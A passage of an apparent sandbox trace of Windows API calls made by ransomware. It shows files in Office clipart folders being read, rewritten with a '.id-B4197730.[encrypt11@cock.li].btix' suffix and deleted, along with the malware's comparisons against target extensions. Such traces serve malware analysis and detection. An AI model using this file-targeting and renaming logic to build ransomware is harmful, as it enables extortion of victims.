lpFileSize=0x2ecff14*=6929) returned 1 [0136.324] CloseHandle (hObject=0x530) returned 1 [0136.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0136.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.325] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.325] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.326] GetLastError () returned 0x0 [0136.326] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0136.327] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0136.328] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.328] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.328] SetEndOfFile (hFile=0x54c) returned 1 [0136.328] CloseHandle (hObject=0x54c) returned 1 [0136.329] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.329] SetEndOfFile (hFile=0x530) returned 1 [0136.331] CloseHandle (hObject=0x530) returned 1 [0136.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0136.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.333] lstrlenW (lpString=".doc") returned 4 [0136.333] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.333] lstrlenW (lpString=".docx") returned 5 [0136.333] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0136.333] lstrlenW (lpString=".pdf") returned 4 [0136.333] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.333] lstrlenW (lpString=".xls") returned 4 [0136.333] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.334] lstrlenW (lpString=".xlsx") returned 5 [0136.334] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0136.334] lstrlenW (lpString=".ppt") returned 4 [0136.334] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString=".zip") returned 4 [0136.334] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.334] lstrlenW (lpString=".rar") returned 4 [0136.334] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.334] lstrlenW (lpString=".bz2") returned 4 [0136.334] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.334] lstrlenW (lpString=".7z") returned 3 [0136.334] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString=".dbf") returned 4 [0136.334] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString=".1cd") returned 4 [0136.334] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString=".jpg") returned 4 [0136.334] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.334] lstrlenW (lpString=".doc") returned 4 [0136.334] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.334] lstrlenW (lpString=".docx") returned 5 [0136.334] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0136.334] lstrlenW (lpString=".pdf") returned 4 [0136.335] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.335] lstrlenW (lpString=".xls") returned 4 [0136.335] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.335] lstrlenW (lpString=".xlsx") returned 5 [0136.335] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0136.335] lstrlenW (lpString=".ppt") returned 4 [0136.335] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.335] lstrlenW (lpString=".zip") returned 4 [0136.335] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.335] lstrlenW (lpString=".rar") returned 4 [0136.335] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.335] lstrlenW (lpString=".bz2") returned 4 [0136.335] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.335] lstrlenW (lpString=".7z") returned 3 [0136.335] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.335] lstrlenW (lpString=".dbf") returned 4 [0136.335] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.335] lstrlenW (lpString=".1cd") returned 4 [0136.335] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0136.335] lstrlenW (lpString=".jpg") returned 4 [0136.335] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.335] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.335] lstrlenW (lpString="J0099155.JPG") returned 12 [0136.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.337] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=8826) returned 1 [0136.337] CloseHandle (hObject=0x530) returned 1 [0136.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0136.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.337] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.337] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.338] GetLastError () returned 0x0 [0136.338] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x227a, lpOverlapped=0x0) returned 1 [0136.610] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2280, lpOverlapped=0x0) returned 1 [0136.611] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.611] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.611] SetEndOfFile (hFile=0x54c) returned 1 [0136.820] CloseHandle (hObject=0x54c) returned 1 [0136.868] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.868] SetEndOfFile (hFile=0x530) returned 1 [0136.963] CloseHandle (hObject=0x530) returned 1 [0136.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString=".doc") returned 4 [0136.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.964] lstrlenW (lpString=".docx") returned 5 [0136.964] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0136.964] lstrlenW (lpString=".pdf") returned 4 [0136.964] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.964] lstrlenW (lpString=".xls") returned 4 [0136.964] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.964] lstrlenW (lpString=".xlsx") returned 5 [0136.964] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0136.964] lstrlenW (lpString=".ppt") returned 4 [0136.964] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString=".zip") returned 4 [0136.964] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.964] lstrlenW (lpString=".rar") returned 4 [0136.964] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.964] lstrlenW (lpString=".bz2") returned 4 [0136.964] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.964] lstrlenW (lpString=".7z") returned 3 [0136.964] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString=".dbf") returned 4 [0136.964] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString=".1cd") returned 4 [0136.964] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.964] lstrlenW (lpString=".jpg") returned 4 [0136.964] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString=".doc") returned 4 [0136.965] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.965] lstrlenW (lpString=".docx") returned 5 [0136.965] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0136.965] lstrlenW (lpString=".pdf") returned 4 [0136.965] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.965] lstrlenW (lpString=".xls") returned 4 [0136.965] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.965] lstrlenW (lpString=".xlsx") returned 5 [0136.965] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0136.965] lstrlenW (lpString=".ppt") returned 4 [0136.965] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString=".zip") returned 4 [0136.965] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.965] lstrlenW (lpString=".rar") returned 4 [0136.965] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.965] lstrlenW (lpString=".bz2") returned 4 [0136.965] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.965] lstrlenW (lpString=".7z") returned 3 [0136.965] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString=".dbf") returned 4 [0136.965] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString=".1cd") returned 4 [0136.965] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0136.965] lstrlenW (lpString=".jpg") returned 4 [0136.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.965] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.965] lstrlenW (lpString="J0099163.WMF") returned 12 [0136.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.966] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=22356) returned 1 [0136.966] CloseHandle (hObject=0x530) returned 1 [0136.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0136.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.966] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.967] GetLastError () returned 0x0 [0136.967] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x5754, lpOverlapped=0x0) returned 1 [0136.982] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x5760, lpOverlapped=0x0) returned 1 [0136.983] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.983] WriteFile (in: hFile=0x548, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.983] SetEndOfFile (hFile=0x548) returned 1 [0136.984] CloseHandle (hObject=0x548) returned 1 [0136.984] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.984] SetEndOfFile (hFile=0x530) returned 1 [0136.986] CloseHandle (hObject=0x530) returned 1 [0136.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.987] lstrlenW (lpString=".doc") returned 4 [0136.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString=".docx") returned 5 [0136.987] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.987] lstrlenW (lpString=".pdf") returned 4 [0136.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString=".xls") returned 4 [0136.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.987] lstrlenW (lpString=".xlsx") returned 5 [0136.987] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.987] lstrlenW (lpString=".ppt") returned 4 [0136.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.987] lstrlenW (lpString=".zip") returned 4 [0136.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.987] lstrlenW (lpString=".rar") returned 4 [0136.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString=".bz2") returned 4 [0136.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString=".7z") returned 3 [0136.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.987] lstrlenW (lpString=".dbf") returned 4 [0136.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.987] lstrlenW (lpString=".1cd") returned 4 [0136.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".jpg") returned 4 [0136.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".doc") returned 4 [0136.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString=".docx") returned 5 [0136.988] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.988] lstrlenW (lpString=".pdf") returned 4 [0136.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString=".xls") returned 4 [0136.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.988] lstrlenW (lpString=".xlsx") returned 5 [0136.988] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.988] lstrlenW (lpString=".ppt") returned 4 [0136.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".zip") returned 4 [0136.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.988] lstrlenW (lpString=".rar") returned 4 [0136.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString=".bz2") returned 4 [0136.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString=".7z") returned 3 [0136.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".dbf") returned 4 [0136.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".1cd") returned 4 [0136.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0136.988] lstrlenW (lpString=".jpg") returned 4 [0136.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.989] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.989] lstrlenW (lpString="J0099164.WMF") returned 12 [0136.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.989] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=21946) returned 1 [0136.989] CloseHandle (hObject=0x530) returned 1 [0136.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0136.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 